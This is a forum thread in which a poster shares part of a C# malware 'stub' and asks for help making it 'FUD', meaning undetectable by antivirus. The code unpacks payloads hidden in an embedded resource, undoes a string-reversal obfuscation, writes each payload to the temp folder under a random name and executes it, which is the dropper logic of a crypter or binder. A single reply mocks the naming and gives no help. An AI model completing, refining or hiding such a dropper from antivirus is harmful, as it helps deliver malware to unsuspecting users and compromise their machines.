Thread: help plz in c# stub coding to make fud

Slagle96 - *August 9, 2011, 9:26 am*

i got this code

Code class ____Program
```
    {
        static string[] ____x = new string[]{ "HF" };
        static System.Resources.ResourceManager ____rManager = new
System.Resources.ResourceManager("res", Assembly.GetExecutingAssembly());
        static string ____myPath = Process.GetCurrentProcess().MainModule.FileName;
        static string[] ____args = null;
        [DllImport("User32.dll")]
        private static extern int MessageBoxA(int h, string g, string r, int d);
        static void ____beginRun(object ____boundArray)
        {
            Random ____r = new Random();
            try
            {
                foreach (string ____file in ((string)____boundArray).Split(____x,
StringSplitOptions.RemoveEmptyEntries))
                {
                        string[] ____split = ____file.Split(new string[] { "@@slagle96@@" },
StringSplitOptions.RemoveEmptyEntries);
                        byte[] ____bytes =
Encoding.GetEncoding(1252).GetBytes(____ReverseString(____split[0]));
                        string ____tmp = Path.GetTempPath() + ____r.Next(0, 1000) + ____split[1];
                        File.WriteAllBytes(____tmp, ____bytes);
                        Process.Start(____tmp);
                }
            }
```
imj trying to get it fud can any body help ?

Okay, here is the thing:
1) Wtf is that "____"? :O
2) That is a small snippet.
